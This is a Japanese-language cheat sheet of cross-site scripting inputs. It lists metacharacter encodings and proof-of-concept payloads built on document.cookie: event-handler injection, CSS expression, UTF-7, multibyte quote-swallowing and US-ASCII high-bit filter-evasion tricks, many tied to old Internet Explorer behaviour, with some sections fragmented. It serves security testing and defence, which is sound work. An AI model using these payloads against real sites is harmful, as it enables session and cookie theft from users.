[CSS] [入力値] XSS入力値フロー備忘録

XSS攻撃は入力文字列をメタ文字と解釈させる必要がある。

メタ文字入力
文字種類
       「"」,「'」,「 」,「`」,「<」,「>」,「&」,「+」
URLエンコード %22  %27   %20   %60   %3C   %3E   %26   %2b
16進数         0x22  0x27  0x20  0x60  0x3C  0x3E  0x26  0x2B
               \x22  \x27  \x20  \x60  \x3C  \x3E  \x26  \x2B
8進数          \42   \47   \40   \140  \74   \76   \46   \53
IEで無視                   0x0B(IEでスペースと同意)
                           0x0C(IEでスペースと同意)
NULL           0x00


下記は一部の例

基本挿入型
 

イベントハンドラ系
 " onclick="alert(document.cookie)
 " onmouseover="alert(document.cookie)
 " onload="alert(document.cookie)

 a href=""
 aaa style=left:expression(javascript:alert(document.cookie))

charset=UTF-7
 %2bACIAPgA8-script%2bAD4-alert(document.cookie)%2bADsAPA-%2fscript%2bAD4APAAi-

スクリプトの関数で
 String.fromCharCode(0x41,0x42,0x43)
 /ABC/.source

マルチバイト系
 マルチバイト文字列にて二文字目をマルチバイトの二文字目の範囲外を指定することで
 挿入したマルチバイトの一文字目の後に来る文字をマルチバイトの二文字目と判断するが
 マルチバイトの二文字目として挿入した文字が範囲外の為、エラーとなる
 %82"となっている場合は「"」が打ち消される為、閉じる為の引用符がなくなる
    
 <input type=text size=60 name=text1 value="1">
 <input type=text size=60 name=text2 value="2">
text1=%82 text2= onmouseover%3dalert%28document%2ecookie%29%3b%20%82 %82%22;alert();x%82 %82のマルチバイトの後ろの文字が%22に指定されている この場合二文字目がマルチバイトの指定外の為、マルチバイト部分はエラーとなる。 エラーであるが何かしらの文字となり、次の%22が「"」を意味する。 「x」はcでもdでもfでも変数ぽい名前ならなんでもよい。 us-ascii us-asciiのバグは7bitまでしか認識しない仕様の為、8bit目に1を立てた文字列を挿入した場合でも 8bit目が0の文字と認識する。 例えば。「"」の%22と%AEが同じになる リクエスト文:"><" レスポンス文:"><script>alert(document.cookie);</script><""> エスケープされている文字列:">

  us-acii 最上位bit 反転
" → %22 → 00100010 ⇒ 10100010(0xA2)
> → %3e → 00111110 ⇒ 10111110(0xBE)
< → %3c → 00111100 ⇒ 10111100(0xBC)

原文
%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E%3C%22

差し替え
%A2%BE%BCscript%BEalert%28document.cookie%29%3B%BC%2Fscript%BE%BC%A2

バッククォート
IEでは「`」が引用符の代わりに使える

ブラウザで無視される文字
0x00